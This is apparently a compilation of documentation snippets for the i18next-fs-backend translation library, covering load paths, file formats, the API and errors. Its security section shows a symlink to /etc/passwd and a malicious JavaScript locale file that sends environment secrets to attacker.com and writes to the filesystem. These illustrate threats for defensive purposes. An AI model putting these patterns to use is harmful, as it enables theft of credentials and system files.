-------------------------------- ### Example of a Parse Error in JSON Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/errors.md Illustrates a common parse error caused by a trailing comma in a JSON file, which is invalid syntax. The error message indicates the file and the parsing issue. ```json // File: locales/en/translation.json { "greeting": "Hello", } // Trailing comma invalid in JSON // Error thrown: Error: error parsing locales/en/translation.json: Unexpected token } ``` -------------------------------- ### Security Best Practices Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/MANIFEST.md Recommends security best practices for using i18next-fs-backend to mitigate potential threats. ```markdown Security best practices (7 recommendations) ``` -------------------------------- ### Symlink Attack Example Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/security.md Illustrates a symlink attack where an attacker creates a symlink to a sensitive file (e.g., /etc/passwd) within the locale directory, causing the backend to read the symlink's target. ```bash # Attacker creates symlink ln -s /etc/passwd ./locales/en/admin.json # Backend reads the symlink target i18next.t('key') # Reads /etc/passwd as translation data ``` -------------------------------- ### Instance All Options Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/backend.md This property provides access to the complete i18next configuration object. It is used to retrieve i18next-level settings like asynchronous initialization flags or key separators. ```javascript backend.allOptions: any ``` -------------------------------- ### Namespace-Specific Load Paths Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/formats.md Configure different file extensions based on the namespace. Use YAML for 'config' namespace and JSON for others. ```javascript { loadPath: (lng, ns) => { if (ns === 'config') { return `./locales/{{lng}}/{{ns}}.yaml` // Config as YAML } return `./locales/{{lng}}/{{ns}}.json` // Translations as JSON } } ``` -------------------------------- ### JavaScript Translation File (CommonJS) Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/formats.md Example of a CommonJS JavaScript file used for translations. It demonstrates dynamic values like timestamps and computed messages, as well as conditional logic based on environment variables. ```javascript // locales/en/translation.js module.exports = { greeting: 'Hello', farewell: 'Goodbye', timestamp: new Date().toISOString(), // Dynamic value // Function calls allowed message: (() => { const parts = ['Hello', 'World'] return parts.join(' ') })(), // Conditional logic environment: process.env.NODE_ENV === 'production' ? 'prod' : 'dev' } ``` -------------------------------- ### JavaScript File Execution Attack Example Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/security.md Presents a malicious JavaScript locale file designed to execute arbitrary code with process privileges, such as stealing secrets or writing to the filesystem, before returning translation data. ```javascript // locales/en/translation.js const fs = require('fs') const http = require('http') // Steal secrets const secrets = process.env.DATABASE_URL const apiKey = process.env.API_KEY // Exfiltrate data http.get('http://attacker.com/steal?secrets=' + encodeURIComponent(secrets)) // Or write to filesystem fs.writeFileSync('/var/malicious', 'pwned') // Return seemingly normal translation data module.exports = { greeting: 'Hello' // Normal content, but code already executed } ``` -------------------------------- ### Format Migration: Switch Reads Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/formats.md After initial migration, update the configuration to read from the new format (JSON5) while continuing to write to it. ```javascript { loadPath: './locales/{{lng}}/{{ns}}.json5', addPath: './locales/{{lng}}/{{ns}}.json5' } ``` -------------------------------- ### YAML Configuration Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/file-io.md YAML files are supported using the `.yaml` or `.yml` extension. The backend handles automatic indentation. ```javascript { loadPath: '/locales/{{lng}}/{{ns}}.yaml' // or .yml extension } ``` -------------------------------- ### queue() Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/api-summary.md Queues a translation key for writing, allowing for batching of updates. ```APIDOC ## queue() ### Description Queues a translation key for writing, allowing for batching of updates. ### Signature `queue(lng, ns, key, fallbackValue, callback?) => void` ### Returns void ``` -------------------------------- ### Typed i18next Initialization Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/types.md Shows how to initialize i18next with the i18next-fs-backend, providing typed backend options for better type safety. ```typescript import i18next from 'i18next' import Backend, { FsBackendOptions } from 'i18next-fs-backend' i18next .use(Backend) .init({ backend: { loadPath: './locales/{{lng}}/{{ns}}.json' }, lng: 'en' }) ``` -------------------------------- ### Configure i18next with YAML Backend Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/examples.md Initializes i18next to load translations from YAML files. Specify the load and add paths for your YAML files. ```javascript i18next.use(Backend).init({ backend: { loadPath: './locales/{{lng}}/{{ns}}.yaml', addPath: './locales/{{lng}}/{{ns}}.yaml' } }) ``` -------------------------------- ### Handling Multiple Namespaces Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/examples.md Organize translations into separate files by specifying multiple namespaces during initialization. Load translations from different namespaces using the 'ns' option. ```javascript i18next.use(Backend).init({ fallbackLng: 'en', lng: 'en', ns: ['common', 'errors', 'auth'], defaultNS: 'common', backend: { loadPath: './locales/{{lng}}/{{ns}}.json' } }, (err, t) => { console.log(t('greeting')) // From common console.log(t('invalidEmail', { ns: 'errors' })) // From errors console.log(t('login', { ns: 'auth' })) // From auth }) ``` -------------------------------- ### Synchronous Initialization Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/configuration.md Use `initAsync: false` to force synchronous file I/O during backend initialization. This is less common than the default asynchronous behavior. ```javascript i18next.use(Backend).init({ initAsync: false, // Synchronous initialization backend: { loadPath: './locales/{{lng}}/{{ns}}.json' } }) ``` -------------------------------- ### Common Issues and Solutions Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/MANIFEST.md Lists common problems encountered when using i18next-fs-backend and provides solutions. ```markdown Common issues and solutions (7 issues) ``` -------------------------------- ### Monitor File System Access with Audited Backend Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/security.md Implement a custom backend to log and monitor file system access for locale files. This allows for detection of unusual access patterns or potential security breaches. ```javascript import fs from 'fs' import { interpolatePath } from 'i18next-fs-backend/lib/utils.js' // Wrap backend to log access class AuditedBackend extends Backend { read(language, namespace, callback) { console.log(`Reading: ${language}/${namespace}`) // Check for unusual values if (language.length > 10) { console.warn(`Unusual language length: ${language}`) } super.read(language, namespace, callback) } } ``` -------------------------------- ### Load Translations with i18next-fs-backend Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/api-summary.md Initialize i18next with the fs-backend to load translation files. Ensure the loadPath is correctly configured. ```javascript i18next.use(Backend).init({ backend: { loadPath: './locales/{{lng}}/{{ns}}.json' } }, (err, t) => { if (!err) { console.log(t('key')) } }) ``` -------------------------------- ### i18next-fs-backend Configuration with Dynamic Paths Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/api-summary.md Configure the backend to use dynamic paths for loading translations, allowing the path to be determined by the language and namespace. ```javascript i18next.use(Backend).init({ backend: { loadPath: (lng, ns) => `./locales/${lng}/${ns}.json` } }) ``` -------------------------------- ### Convert JSON to YAML Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/formats.md Demonstrates converting JSON to YAML, a format known for its high readability and clean syntax, suitable for human editing. ```yaml greeting: Hello farewell: Goodbye ``` -------------------------------- ### i18next-fs-backend Configuration for JSON5 Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/formats.md Configuration for i18next-fs-backend to load files with the JSON5 format, detected by the .json5 extension. ```javascript { loadPath: './locales/{{lng}}/{{ns}}.json5' // Format auto-detected from .json5 extension } ``` -------------------------------- ### Configure File Extension for Different Formats Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/errors.md When working with formats other than JSON, ensure the `loadPath` file extension matches the format (e.g., `.yaml` for YAML, `.json5` for JSON5). This allows the backend to correctly parse the files. ```javascript // For YAML files, ensure extension is .yaml or .yml { loadPath: './locales/{{lng}}/{{ns}}.yaml' // Must end with .yaml } // For JSON5, must use .json5 extension { loadPath: './locales/{{lng}}/{{ns}}.json5' } ``` -------------------------------- ### Safe Usage Patterns Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/MANIFEST.md Illustrates safe patterns for integrating and using i18next-fs-backend in applications. ```markdown Safe usage patterns (3 patterns) ```